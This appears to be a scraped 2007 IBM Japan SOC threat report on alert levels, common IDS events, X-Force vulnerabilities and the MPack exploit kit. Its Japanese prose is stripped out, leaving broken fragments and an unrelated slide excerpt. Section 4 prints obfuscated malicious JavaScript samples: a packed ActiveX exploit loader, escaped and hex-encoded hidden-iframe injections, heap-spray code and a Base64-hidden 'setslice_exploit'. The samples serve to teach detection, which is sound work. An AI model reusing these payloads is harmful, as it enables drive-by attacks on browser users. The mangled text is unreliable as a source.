AlertCon SOC SOC IBM X-Force SOC SOC

Size: px

Start display at page:

Download "AlertCon SOC SOC IBM X-Force SOC SOC"

あいねすわ
5 years ago
Views:

1 2007 SOC ISS

2 AlertCon SOC SOC IBM X-Force SOC SOC

3 1. IBM SOC (MSS) ( 2 ) SOC SOC SOC SOC ISS

4 2. AlertCon SOC X-Force 2.1. AlertCon IBM SOC AlertCon 1 AlertCon AlertCon Adobe PDF(CVE ) AlertCon 1 AlertCon 1 AlertCon AlertCon AlertCon 1 AlertCon 2 1 IBM ISS / Current Internet Threat Level -4-

5 AlertCon 3 AlertCon 4 Code Red Nimda SQL Slammer MS Blast / DoS 2.2. SOC 4 SOC FTP_Auth_Failed SSH_Brute_Force SSH FTP

6 2 TOP 2 No 1 64% FTP_Auth_Failed FTP 2 17% SSH_Brute_Force SSH 3 8% HTTP_Unix_Passwords 4 1% Windows_URI_Command_Exec URI 5 1% JavaScript_WScript_Shell_Object wscript.shell CreateObject 6 1% SSL_V2_OpenSSL_Get_Shared_Ciphers_BO SSLv2 7 1% LPD_Delete_DotDot_Traversal 8 1% HTTP_UserAgent_Tool_Long User-Agent HTTP 9 1% IRC_Join 10 1% HTTP_Mozilla_Nonascii_URL_BO Mozilla 2.3. SOC SOC IDS/IPS SOC HTTP_Unix_Passwords( ) SOC 2 3 Wikipedia: Malware

7 3 4 Windows QuickTime 5 Security Update WinZIP 6 Yahoo! Apple QuickTime 6 FileView WinZip ActiveX control unsafe method code execution 7 Yahoo!

8 PCT MS OpenSSL 0.9.6e 9 Oracle Oracle Security Alert #68 10 SQL SQL 3 SQL IPA Web DB 11 ID SSH(Port22) FTP(Port21) IP( ) Linux iptables 8 Microsoft Windows (835732) (MS04-011) 9 OpenSSL SSL2 master key buffer overflow 10 Alert #68: Oracle Security Update htp:// 11 IPA SQL -8-

9 Web Web PHP php.ini allow_url_fopen=off register_globals=off -9-

10 2.4. IBM X-Force IBM IBM X-Force SOC 3 X-Force CVE % CVE URI CVE CVE CVE CVE CVE CVE CVE % CVE RealNetworks RealPlayer ActiveX % CVE Microsoft Windows DNS % CVE Microsoft Windows Media Player.ASF % CVE Microsoft DirectShow CVE % CVE Apple Quick Time RTSP Content-Type (1) URI ( PC) ( ) 12 X-Force IBM 13 X-Force

11 (Microsoft) ( Adobe PDF Viewer) URL Microsoft Security Bulletin MS (2) RealNetworks RealPlayer ActiveX RealNetworks RealPlayer ActiveX Web URL (3) Microsoft Windows DNS Windows 2000 Windows 2003 Microsoft Windows DNS DNS DNS URL Microsoft Security Bulletin MS (4) Windows Media Player.ASF (4 ) Microsoft Windows Media Player 4.ASP ASF URL Microsoft Security Bulletin MS

12 (5) Apple Quick Time RTSP Content-Type Apple QuickTime Apple Mac Web URL (6) Microsoft DirectShow Microsoft DirectShow Microsoft Media Player Windows URL Microsoft Security Bulletin MS

13 SANS Internet Storm Cente 14 ID 15 JTB 16 SOC % ITPro 17 FBI Web 4 MSNBC 15 INTERNET Watch e.com 16 ITPro: 600 JTB

14 SOC 19 ( ) 18 ITPro

15 5 X-Force MPack I epack -15-

16 4. SOC SOC JavaScript JavaScript 4.1. IDS/IPS rootkit 6 SOC 2-16-

17 4 JavaScript API 5 JavaScript document.write() document.writeln() eval() JavaScript 7-17-

18 (1) 3 Dean Edwards packer JavascriptZIP JavaScript Java JavaScript SOC ActiveX ActiveX eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp(' b'+c+' b','g'),k[c])}}return p}('18( ( '43 ')==-1){23{8 38;8 39=(7.56("10"));39.55("54","58: ");861=39.65("49.46","")} 20(38){};27{8 32=22 44();32.45(32.52()+24*60*60*51);7.41= '43=50;47=/;32= '+32.48();7.14("<1625=9:// /6.26>< /16>");18(38!="[10 15]"){7.14("<16 25=9:// /1.26>< /16>")}82{23{8 36;8 81=22 30("80.79")}20(36){};27{18(36!="[10,' document var http object k com write Error script DIV if ads catch style new tr y src gif finally CURSOR c ActiveXObject url expires i j h f g e ado obj cookie iframe OKSUN Date settime Stream path togmtstring Adodb SUN 1000 gettime BD96C556 classid setattribute c reateelement indexof clsid 65A3 as 00C04FC29E36 983A 11D0 createobject yahoo display GLChat Ctrl GLCHAT Vod none BaiduBar exe cab DloadDS Tool thunder DPClient StormPlaye (2) JavaScript API JavaScript API SOC 4 JavaScript escape unescape HTTP ) 1byte charcodeat fromcharcode decodeuri encodeuri URL -18-

19 <script language="javascript"> eval(unescape("document.write%28string.fromcharcode%2860%2c105%2c102 %2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C101%2C120%2C97%2C109 %2C112%2C108%2C101%2C46%2C99%2C111%2C109%2C47%2C105%2C110%2C100%2C101%2C120%2C 46%2C112%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C104%2C61%2C34%2C48%2C 34%2C32%2C104%2C101%2C105%2C103%2C104%2C116%2C61%2C34%2C48%2C34%2C62%2C60%2C47 %2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B"));</script> function makememory(){ var up_payload up_memblock = = unescape(up_code); eval(string.fromcharcode(117,110,101,115,99,97,112,101))(string.fromcharcode(37,117,48,53,48,53,37,117, 48,53,48,53)); up_memsize = 20; up_memdump while (up_memblock.length<up_memdump){ up_memblock+=up_memblock; = up_memsize+up_payload.length; (3) API Base64 <script language="javascript"> var keystr = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz /" + "="; // Base64 function decode64(input) { var output = ""; var chr1, chr2, chr3 = ""; chr3 = ((enc3 & 3) << 6) enc4; output = output + String.fromCharCode(chr1); -19-

20 if (enc3!= 64){ output = output + String.fromCharCode(chr2); } if (enc4!= 64){ output = output + String.fromCharCode(chr3); } chr1 = chr2 = chr3 = ""; enc1 = enc2 = enc3 = enc4 = ""; } while (i < input.length); return output; } function setslice_exploit(){ if (ismemory == false ) makememory(); count = 129-1; for(i=0;i<count;i++) try{ var slice = eval(decode64('bmv3iefjdgl2zvhpymply3qoj1ljenkts=')); eval(decode64('c2xpy2uuc2v0u2xpy2nswgwnta1mdmduwnta1ick7')); (4) parseint -20-

21 function v470d321574ec2(v470d c){ function v470d () { var v470d321575a77=16; return v470d321575a77; } return(parseint(v470d c,v470d ())); } for(v470d321576df7=0; v470d321576df7<v470d length; v470d321576df7+=v470d d6()){ v470d bb+= (String.fromCharCode(v470d321574ec2(v470d substr(v470d321576df7, v470d d6())))); } return v470d bb; } document.write(v470d321575e59('3c e77696e646f772e d27446f6e65273b6 46F63756D656E742E C D65206E616D653D D5C A2F2F E6D A6F2E6F72672F E732E68746D3F272B4D E7 26F756E64284D6 (5) SOC SOC 4 JavaScript -21-

22 8 2 4 SOC SOC SOC JavaScript -22-

23 JavaScript JavaScript Firefox NoScript 20 JavaScript JavaScript JavaScript JavaScript JavaScript JavaScript 2 4 FTP SSH 21 7 FTP SSH 20 Firefox Add-ons NoScript SOC -23-

24 5. SOC MPS( ) MPS for SMB Proventia IBM Ahead of the threat IBM -24-

25 ISS ISS ISS ISS ISS ISS ISS ISS ISS ISS ISS ISS ISS ISS ISS -25-

26 Copyright IBM Japan, Ltd IBM Proventia Ahead of the threat Virtual Patch X-Force SiteProtector InternetScanner RealSecure International Business Machines Corporation Microsoft Windows Windows Server Windows NT Microsoft Corporation Linux Linus Torvalds

スライド 1

スライド 1 IBM Global Technology Services PCI DSS ITS IAS. IAS. 2I/T 1PCIDSS 2 2 PCI DSS QSA PCIDSS Fi Gap IBM PCIDSS IBM PCIDSS QSA QSA PCIDSS ROC* 1/ * ROC: Report on Compliance 3 PCI DSS 4 PCIDSS PCIDSS 1. PCIDSS